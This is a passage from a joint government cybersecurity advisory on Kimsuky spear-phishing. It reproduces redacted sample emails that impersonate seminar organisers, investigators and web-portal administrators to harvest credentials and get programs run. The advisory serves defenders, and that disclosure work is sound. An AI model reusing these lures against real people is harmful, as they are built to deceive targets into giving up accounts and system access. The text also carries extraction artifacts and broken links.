individuals may have already had their +accounts compromised through a previous attack. Kimsuky actors may mention specific information +about the target +s position or schedule, which they obtained from the target +s email exchanges or +address book. +Sample email communication 7: +Title: Office of /Seminar +Proposal for the Unification +Policies of the Yoon Government +Hello, this is from the office of . +Let me express our gratitude for your attendance and participation at the seminar we hosted +yesterday. Your presence and insights contributed greatly to the success of the event. +If it +s not too much trouble, could you kindly provide us with a brief summary of the remarks +you made during the seminar? We would like to keep it as an internal reference material. +Additionally, we would greatly appreciate it if you could fill out the attached form and send it +back to us. This will serve as an evidence document for the speaking fee payment +procedure. +Password: +Thank you again for your participation and we hope to see you at future events. Have a +great weekend. +Kimsuky actors may also impersonate investigative agencies or law enforcement officials to deceive a +target into believing that their email account has been involved in an illegal incident. They use the +authority of investigative agencies to approach the target, implying that their account may have been +stolen and that they could be involved in a criminal or national security-related incident. +Page 13 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +Sample email communication 8: +Title: of . +I am of . +m writing to inform you that someone has published content on YouTube using your email +account that violates the National Security Law. +Link: https:// HYPERLINK "https://%3cyoutube/"< HYPERLINK +"https://%3cyoutube/"YouTube video link>. The video was posted on +by +We also suspect that the same user has posted content that slanders North Korean +defectors. We need your cooperation to identify the real publisher of these posts. +1. Provide us with your computer media access control address (MAC address) and +Ethernet hardware address, as they are needed to track any illegal access to your email +account. +2. If you cannot locate these addresses in your computer system, please run the program +below and send us the resulting document: +3) Please respond to this email within 24 hours and delete it immediately after sending your +reply. +Thanks you for your cooperation +Additionally, Kimsuky actors impersonate operators or administrators of popular web portals and +claim that a victim +s account has been locked following suspicious activity or fraudulent use. Victims +are advised to protect their personal information and unlock their account by clicking a link attached to +the email and changing their password. The link leads to a phishing site that mimics a legitimate web +portal login page where victims are directed to input personal information, including their usernames +and passwords, for harvesting by DPRK cyber actors. +Page 14 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +TLP:CLEAR +Sample email communication 9: +Title: Your Password for Account Has Been Compromised +We regret to inform you that we have detected an attempt to log into your account () from an unauthorized application. The incident occurred on at